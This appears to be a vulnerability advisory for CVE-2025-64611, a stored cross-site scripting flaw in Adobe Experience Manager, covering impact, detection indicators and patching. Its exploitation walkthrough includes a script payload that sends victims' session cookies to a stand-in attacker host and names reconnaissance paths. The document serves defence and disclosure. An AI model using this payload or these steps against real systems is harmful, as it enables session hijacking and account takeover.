CVE-2025-64611: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64611 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is stored server-side and executes in a victim's browser when they navigate to the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and low privileges, with the scope changed to affect the victim's browser session. Attack patterns associated with this vulnerability include stored XSS (CAPEC-592) and reflected XSS (CAPEC-591) (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, resulting in limited confidentiality and integrity impacts (e.g., session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim). The changed scope means the impact extends beyond the attacker's own session to affect other users of the AEM instance. Availability is not directly impacted by this vulnerability (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Identify vulnerable form fields: Browse AEM authoring interfaces or public-facing forms to locate input fields that store and render user-supplied content without proper sanitization.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Lure a privileged user (e.g., an AEM administrator) to browse the page containing the injected payload, causing the malicious script to execute in their browser and potentially exfiltrating session cookies or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /jcr:content/) containing encoded script tags or JavaScript event handlers from low-privileged user accounts.
• File System / Repository: Unexpected <script> tags or JavaScript URIs stored within JCR (Java Content Repository) nodes, particularly in text or rich-text fields of AEM pages or components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying session cookie data in query parameters.
• Logs: AEM error logs or browser console errors referencing unexpected script execution or Content Security Policy (CSP) violations on AEM-served pages.

Adobe has released patches addressing CVE-2025-64611: AEM on-premises users should upgrade to version 6.5.24.0 or later; AEM Cloud Service users are protected as of release 2025.12.0. No specific configuration-based workaround is documented; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts and audit low-privileged user activity on authoring interfaces (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting that multiple vulnerabilities in Adobe products, including this XSS flaw, could allow for arbitrary code execution and recommended prioritized patching (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64611 has been identified beyond standard vulnerability tracking coverage.